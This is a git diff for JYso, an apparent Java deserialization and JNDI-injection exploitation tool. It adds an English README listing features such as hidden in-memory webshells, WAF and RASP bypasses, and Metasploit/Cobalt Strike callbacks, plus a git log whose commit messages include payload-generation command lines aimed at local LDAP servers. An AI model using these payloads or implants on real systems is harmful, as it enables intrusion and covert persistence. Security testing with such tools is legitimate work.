diff --git a/README.en.md b/README.en.md index e69de29..966110c 100644 --- a/README.en.md +++ b/README.en.md @@ -0,0 +1,86 @@ +

+ +

+

JYso

+ +

+ + + + +

It can be used as a tool for ysoserial and JNDIExploit at the same time, and has the bypass function of multiple JNDI high versions, WAF, and RASP

+ +## 🚀 Getting Started Guide + +📢 Please take a moment to read this document, it will help you quickly get familiar with JYso! + +🧐 Use the Documentation [Wiki](https://github.com/qi4L/JYso/wiki). + +✔ Download the latest version of [Releases](https://github.com/qi4L/JYso/releases). + +## 👍 Features + ++ JNDI account password startup ++ JNDI route hiding or encryption ++ JNDI high version Bypass ++ Customize the path, password, HTTP header and value of the memory horse ++ Memory horse supports [Fileless landing Agent insertion](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond) ++ Memory horse writes JRE or environment variables to hide ++ Serialized data plus dirty data ++ [Serialized data is encoded in UTF-8 corresponding to 3 bytes](https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/) ++ TemplatesImpl _bytecodes feature eliminated and size reduced ++ SignedObject secondary deserialization, can be used to bypass TemplatesImpl blacklist, CC without array and blacklist often seen in CTF, etc. ++ Solve the problem of Shiro Header being too long, get the value of the specified parameter from the request for class loading ++ Dynamically generate obfuscated class names ++ MSF/CS online ++ Code execution through JDBC + +If you have other great ideas, please let me know! 😎 + +## 🐯 Compile + +Download gradle8.7+ and configure it in the global environment variable, and execute it in the project root directory + +```shell +./gradlew shadowJar +``` + +## 🌲Directory structure + +For more information, please refer to [Directory structure description](docs/directory_structure.md). + +## ✨ CTStack + + + +JYso has joined the [CTStack](https://stack.chaitin.com/tool/detail?id=3) community + +## ✨ 404StarLink 2.0 - Galaxy + +JYso is a member of the 404Team [404StarLink 2.0](https://github.com/knownsec/404StarLink). If you have questions about JYso or want to find a partner to communicate, you can refer to the Starlink group project. + ++ https://github.com/knownsec/404StarLink2.0-Galaxy#community + +1. [入选2024年KCon兵器谱](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=3) + +## 📷 Acknowledgements + +- https://github.com/veracode-research/rogue-jndi +- https://github.com/welk1n/JNDI-Injection-Exploit +- https://github.com/welk1n/JNDI-Injection-Bypass +- https://github.com/WhiteHSBG/JNDIExploit +- https://github.com/su18/ysoserial +- https://github.com/rebeyond/Behinder +- https://t.zsxq.com/17LkqCzk8 +- https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg +- https://xz.aliyun.com/t/11640?time__1311=mqmx0DBDuDnQ340vo4%2BxCwg%3DQai%3DYzaq4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697 +- https://archive.conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/ +- https://tttang.com/archive/1405/#toc_0x03-jdbc-rce +- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoYg0%3DDR0HG8KeD&alichlgref=https%3A%2F%2Ftttang.com%2F#toc-7 +- https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/ +- https://github.com/Whoopsunix/utf-8-overlong-encoding +- https://tttang.com/archive/1405/#toc_groovyclassloader +- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F +- https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html +- https://github.com/mbechler/marshalsec + diff --git a/README.md b/README.md index a380129..538749e 100644 --- a/README.md +++ b/README.md @@ -8,7 +8,9 @@ -

可以同时当做 ysoserial 与 JNDIExploit 使用的工具，同时具备多种JNDI高版本、WAF、RASP的Bypass功能 +

可以同时当做 ysoserial 与 JNDIExploit 使用的工具，同时具备多种JNDI高版本、WAF、RASP的Bypass功能

+ +

中文文档 | English

## 🚀 上手指南 diff --git a/d b/d new file mode 100644 index 0000000..ee8204b --- /dev/null +++ b/d @@ -0,0 +1,486 @@ +commit 9954c524fbabfb837935e9c2b3a02986c825e644 (HEAD -> main, origin/main) +Author: qi4l +Date: Mon Oct 21 15:42:03 2024 +0800 + + fix(HTTPServer.java): Bug fixes 4 + +commit 928aad35942f74f29590b39bfcad02936a5bc96f +Author: qi4l +Date: Mon Oct 21 15:34:52 2024 +0800 + + fix(HTTPServer.java): Bug fixes 3 + +commit 0666aa053d7773862415a91e913c0a32ef70d5c6 +Author: Your Name +Date: Mon Oct 21 15:32:03 2024 +0800 + + fix(HTTPServer.java): Bug fixes 2 + +commit 192a0ac085a14a67b968070849a75c8ce4c6813a +Author: Your Name +Date: Mon Oct 21 15:29:04 2024 +0800 + + fix(HTTPServer.java): Bug fixes + +commit 24e28456895d737eb844e55c071e9a13278937d4 (tag: v1.3.4) +Author: qi4L +Date: Mon Sep 16 17:24:03 2024 +0800 + + feat: add Marshalsec output + +commit 11a3fc898c0a7179896d232a9f09ce6f1256b4bb +Author: qi4L +Date: Sun Sep 15 18:13:58 2024 +0800 + + docs: update README.md 4 + +commit f892540164e99f08b69916afc576205a7f1b8c51 +Author: qi4L +Date: Sun Sep 15 18:12:15 2024 +0800 + + docs: update README.md 2 + +commit 5c2c1a86dbbeb2effa2f98f735c3116010ff1716 +Merge: 95adfbb 983c9e1 +Author: 炁 <75202638+qi4L@users.noreply.github.com> +Date: Sun Sep 15 16:44:46 2024 +0800 + + Merge pull request #57 from Lya0/marshalsec + + 增加Marshalsec output + +commit 983c9e10550c3c7b5e04f6d7837eb8dc543a839a +Author: Lya0 <154341443+Lya0@users.noreply.github.com> +Date: Sun Sep 15 16:37:10 2024 +0800 + + Update build.gradle + +commit eed218cc0c287e51fdd226b1adfc1e600fdecf21 +Author: Lya0 <154341443+Lya0@users.noreply.github.com> +Date: Sun Sep 15 16:30:26 2024 +0800 + + 增加 marshalsec 的output + + 一些测试用例 + -y -g SpringAbstractBeanFactoryPointcutAdvisor -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -kryo + -y -g JdbcRowSet -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -jk + -y -g JdbcRowSet -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -jy + -y -g C3P0RefDataSource -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -jy + -y -g XBean -p http://127.0.0.1:8080/ExecObject -js + -y -g LazySearchEnumeration -p http://127.0.0.1:8080/ExecObject -js + -y -g Resin -p http://127.0.0.1:8080/ExecObject -js + -y -g Groovy -p /usr/bin/gedit -js + -y -g SpringAbstractBeanFactoryPointcutAdvisor -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -js + -y -g Rome -p /usr/bin/gedit -js + -y -g SpringAbstractBeanFactoryPointcutAdvisor -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -ca + -y -g C3P0WrapperConnPool -p http://127.0.0.1:8000/exp -ca + -y -g JdbcRowSet -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -jk + -y -g C3P0RefDataSource -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -jk + -y -g C3P0WrapperConnPool -p http://127.0.0.1:8000/exp -jk + -y -g SpringAbstractBeanFactoryPointcutAdvisor -p 'ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv' -jk + -y -g SpringPropertyPathFactory -p 'ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv' -jk + +commit 95adfbb45c2ee58f0d0102de9173d617857943ea +Author: qi4L +Date: Sun Sep 15 13:42:27 2024 +0800 + + fix(Gadgets.java): _name Repair + +commit 015ff5f2ae79b86a9adfb5051d24fb28bb448609 +Author: qi4L +Date: Sun Sep 15 13:38:16 2024 +0800 + + docs: updata README.md 1 + +commit 6ff3788b4dcd2934553eabc6e9396ae54f547539 +Author: qi4L +Date: Fri Sep 13 11:19:35 2024 +0800 + + perf: remove out + +commit 777f8d1a21d7047915550eae681ede51a7ef2a75 +Author: qi4L +Date: Fri Sep 13 11:17:00 2024 +0800 + + perf: remove gradle + +commit fc1dbad0020ec0eb2789c2c23211916118359d12 (master) +Author: qi4L +Date: Thu Sep 12 16:06:25 2024 +0800 + + fixed untracked files + +commit 4422693e1254c33dae633c3ed5d93323e3b92d94 +Author: qi4L +Date: Thu Sep 12 15:59:39 2024 +0800 + + feat: add gitignore file + +commit 084a09e012e2c64bc0bcf602d7dbc62818015a72 +Author: qi4L +Date: Wed Sep 11 18:01:46 2024 +0800 + + perf: remove .idea and .gradle+ + +commit 05eaceb155c00ef1b26005e5ff5a0c0b56847981 +Author: qi4L +Date: Wed Sep 11 17:55:38 2024 +0800 + + perf: remove .idea and .gradle + +commit 3f7148f93c30f09fc3dcaef8743b9d105d4665d6 +Author: qi4L +Date: Wed Sep 11 10:53:30 2024 +0800 + + perf(Starter.java): remove author + +commit 8b502cb4724319db7bd7f36874735eefb61ba241 +Author: qi4L +Date: Wed Sep 11 10:49:32 2024 +0800 + + feat(Starter.java): add author + +commit 33cc64d0ad0ec34ecdae5693077efc161da81a76 +Author: qi4L +Date: Wed Sep 11 10:47:46 2024 +0800 + + feat(Starter.java): add logo + +commit a6bbe67d9eca4e2e956c8abae09578dba90d8bb4 +Author: qi4L +Date: Wed Sep 11 10:46:10 2024 +0800 + + feat(qscan.go): add logo + +commit 54e5de4b0af1908091444b0c5fe69ddc69eccdae +Author: qi4L +Date: Mon Sep 9 22:32:17 2024 +0800 + + +BUG + +commit 99a640249facdd32aad839f8372593644e98e789 +Author: qi4L +Date: Sun Sep 1 11:21:06 2024 +0800 + + add ldaps++ + +commit 05a86ce158d712a6a61ad01d10d593541de0225b +Author: qi4L +Date: Sun Sep 1 11:07:55 2024 +0800 + + add ldaps + +commit ef963e85684467ed9683275ced56f2dee9ce1e68 (tag: v1.3.3) +Author: qi4L +Date: Mon Aug 26 12:34:42 2024 +0800 + + ++++3 + +commit 023319c8645c060cbe067c7c9c34a2e3b549f7fc +Author: qi4L +Date: Mon Aug 26 12:29:48 2024 +0800 + + ++++2 + +commit 48c03d08df59072ad752e485ed330926603b27d3 +Author: qi4L +Date: Mon Aug 26 12:10:08 2024 +0800 + + ++++1 + +commit 1af4889b927b5bf56d09641486fcb552054f31dc +Merge: b0f7a7c f96a58d +Author: 炁 <75202638+qi4L@users.noreply.github.com> +Date: Mon Aug 26 11:39:36 2024 +0800 + + Merge pull request #53 from springkill/master + + add XStream suggestion + +commit b0f7a7c30924cd3bc82d5dfc2d1b0365eab6f54c +Merge: 4bcce87 3b84752 +Author: 炁 <75202638+qi4L@users.noreply.github.com> +Date: Mon Aug 26 11:39:20 2024 +0800 + + Merge pull request #54 from unam4/7gadget + + add 7 gadget (原生tostring） + +commit 3b84752c20336aa404f6c864b34c58afee622878 +Author: Fw-fW-fw <136979459@qq.com> +Date: Mon Aug 19 22:48:39 2024 +0800 + + add Hibernate3JDBC (org.hibernate<=4.12可用) + +commit 2288a5eb859606e84d71802f4c2a57ccb2e81fda +Author: Fw-fW-fw <136979459@qq.com> +Date: Mon Aug 19 22:42:26 2024 +0800 + + add Hibernate3JDBC (org.hibernate<=4.12可用) + +commit 5633bb5095d5615322b382a86be3d7b6ed1c9f47 +Author: Fw-fW-fw <136979459@qq.com> +Date: Mon Aug 19 22:32:59 2024 +0800 + + add Hibernate3JDBC (org.hibernate<=4.12可用) + +commit 9f7788de7c8255a7049dfff1b005640977f8f444 +Author: Fw-fW-fw <136979459@qq.com> +Date: Mon Aug 19 19:13:07 2024 +0800 + + 删除 gradle + +commit 53ee3c3311737e5262a6aaf47b413f425584f7f5 +Author: Fw-fW-fw <136979459@qq.com> +Date: Mon Aug 19 19:10:30 2024 +0800 + + groovy2 gadget反序列时触发，方便组合 + +commit 9db31149d041b78a0665d8a22f93e803eb482c89 +Author: Fw-fW-fw <136979459@qq.com> +Date: Mon Aug 19 19:06:59 2024 +0800 + + groovy2 gadget反序列时触发，方便组合 + +commit 7d7128b4db8ca86763e63cc942ce5ec0166efc62 +Author: Fw-fW-fw <136979459@qq.com> +Date: Mon Aug 19 18:58:51 2024 +0800 + + add 7gadgets (降级groovyt适配新gadget) + +commit 5c766bfbf874da8c9ec144f41fd883b8abe7a9e0 +Author: Fw-fW-fw <136979459@qq.com> +Date: Fri Aug 16 22:58:15 2024 +0800 + + add 7gadgets (降级groovyt适配新gadget) + +commit f96a58d292b9bfdcba96994b9d9f0f99b76c3959 +Author: springkill +Date: Fri Aug 16 22:46:59 2024 +0800 + + edit description. + +commit 115548a2d6c7a746d2767629df5f40e863285b16 +Author: Fw-fW-fw <136979459@qq.com> +Date: Fri Aug 16 22:42:49 2024 +0800 + + add 7gadgets (降级groovyt,hibernate适配新gadget) + +commit 4cf43d62604999a11250797d8edc23bf2046f5dc +Author: springkill +Date: Fri Aug 16 21:29:12 2024 +0800 + + Support xstream + +commit 5f37ed1abc4a6c0e0aa3e5534ce8a00aca1bac77 +Author: Fw-fW-fw <136979459@qq.com> +Date: Fri Aug 16 21:05:10 2024 +0800 + + add 7gadgets (降级groovyt,hibernate适配新gadget) + +commit a3999b8186f439c167deffa25cc767f36602b79a +Author: Fw-fW-fw <136979459@qq.com> +Date: Fri Aug 16 21:03:29 2024 +0800 + + add 7gadgets (降级groovyt,hibernate适配新gadget) + +commit 4bcce8789f36d34ef0bff2021f5a5b98064639ce +Author: qi4L +Date: Tue Aug 13 18:43:58 2024 +0800 + + base64编码输出Payload + +commit 993a9238289aa672b26ae22f70a6920acd88e212 +Author: qi4L +Date: Tue Aug 13 10:52:53 2024 +0800 + + 修复hessian + +commit ff8fe79cb776edc5fa49bc133c74d7182641a12b +Author: qi4L +Date: Sun Aug 4 14:58:13 2024 +0800 + + hessian类型的Payload + +commit 8e10aeacc12c0d2c8e1a641e0ab9e64f57593569 +Author: qi4L +Date: Sun Aug 4 14:55:22 2024 +0800 + + hessian类型的Payload + +commit 5084a9b89c27d54c7e544b75cc79645bebc52c9f +Merge: e7b282c 5b7ebf3 +Author: 炁 <75202638+qi4L@users.noreply.github.com> +Date: Fri Aug 2 10:36:53 2024 +0800 + + Merge pull request #50 from springkill/master + + Add Gadgets + +commit 5b7ebf3833d4b6e71e64f62599f4ee95ada72f08 +Author: springkill +Date: Fri Aug 2 09:58:53 2024 +0800 + + Add Gadgets + +commit e7b282c231af643e195557f2d8c95b3f96cdfdbf +Author: qi4L +Date: Sat Jul 27 15:56:38 2024 +0800 + + Increase CC13 + +commit 27d53bc1316b681d86435ecfee2b04c9e837e107 (tag: v1.3.2) +Author: qi4L +Date: Wed Jul 24 15:38:01 2024 +0800 + + 修复 Exploit + +commit 72a91dd13f88c89cd278906a62f9de10f9e2412a (tag: v1.3.1) +Author: qi4L +Date: Wed May 29 16:13:04 2024 +0800 + + Add constructor + +commit 751035cd18302a659773be298580824da27d8984 +Author: qi4L +Date: Thu May 23 17:41:32 2024 +0800 + + 重写TomcatEchoJndi + + +commit 114eadcb13df2f3c5fb483cd8b768a11e6632a43 +Author: qi4L +Date: Thu May 23 17:41:09 2024 +0800 + + 重写TomcatEchoJndi + +commit 521973522bb3c106fa1a82059ee1ca4b7914c644 +Author: qi4L +Date: Sun May 19 18:26:07 2024 +0800 + + re README +++4 + +commit 9a4d7452e5353e1947cb1c78223b85803b3ffe87 +Author: qi4L +Date: Thu May 16 17:29:46 2024 +0800 + + re README +++4 + +commit da95355f30f1506e843531680bf997a399953fe9 +Author: qi4L +Date: Thu May 16 17:28:33 2024 +0800 + + re README +++3 + +commit 8bb2c43d3b5ba92621b35778fcb90c3f05ddfabd +Author: qi4L +Date: Thu May 16 16:23:12 2024 +0800 + + tomcat修复 + +commit 5e7792ed58f3cfb135499e7da6aafe9a57d19fe3 (tag: v1.3.0) +Author: qi4L +Date: Thu May 16 11:25:03 2024 +0800 + + re README +++2 + +commit 2302b0d48edfd9eec71a8c57dc4545585f22593b +Author: qi4L +Date: Thu May 16 11:01:45 2024 +0800 + + + TomcatJdbcController + +commit cc44392dddf96c29f89174151d0659e0fc700db5 +Author: qi4L +Date: Tue May 14 18:05:39 2024 +0800 + + msf+ + +commit fed704fe8cd041c2e6703120c36bc672c2584f89 +Author: qi4L +Date: Tue May 14 17:55:44 2024 +0800 + + re out + +commit 15bfe30f23cdcb33534bf3fc161a612479786d60 +Author: qi4L +Date: Tue May 14 17:54:33 2024 +0800 + + msf + +commit c3eb683011a75309251e355c16fd9ba0b11ee22c +Author: qi4L +Date: Tue May 14 17:11:22 2024 +0800 + + re libs + +commit 1c84f63e00620b792462db9bef82673f8cd4d165 +Author: qi4L +Date: Mon May 13 09:32:44 2024 +0800 + + re README +++1 + +commit 5f3699453c109834438ac08b99b84e14d0384347 +Author: qi4L +Date: Mon May 13 09:31:21 2024 +0800 + + re README +++ + +commit ec22786847b72df212179377bafb1882d007e99c +Author: qi4L +Date: Tue Apr 30 14:44:03 2024 +0800 + + + cb161 + +commit 638f8b29ed8708228d05fa905c1318a1bf7aa06f +Author: qi4L +Date: Mon Apr 29 16:38:43 2024 +0800 + + de Authors + +commit 51c0929d3d3dba39348b3c193c675d9c0f1985f8 +Author: qi4L +Date: Mon Apr 29 16:38:17 2024 +0800 + + de Authors + +commit 07703764afd0bf2baab23c4772128ca0e2199348 (tag: v1.2.9) +Author: qi4L +Date: Mon Apr 29 15:10:38 2024 +0800 + + cb5 + +commit 0f6470d8ab2dec7c6adfcc221b0f13e64d762a59 +Author: qi4L +Date: Sun Apr 28 18:08:45 2024 +0800 + + de lib + +commit b7fbbbccccd348bc398c5716562fef1f250f10cb +Author: qi4L +Date: Sun Apr 28 17:57:51 2024 +0800 + + re logo + +commit ed850448fb05925192a929e549834172d47ab5f0 +Author: qi4L +Date: Sat Apr 27 20:46:34 2024 +0800 + + lib + +commit 632cabb886753594f5fdbf16a2a13555a13cfce2 +Author: qi4L +Date: Wed Apr 3 11:48:27 2024 +0800 + + re - + +commit 979302205a4399f505806725206bdb01e132a4d0 +Author: qi4L +Date: Tue Apr 2 17:13:49 2024 +0800 + + re+1+ + +commit 130d67f3efed5d9116bf8199549b61cad20c71c5 +Author: qi4L +Date: Tue Apr 2 17:04:39 2024 +0800 + + gradle++1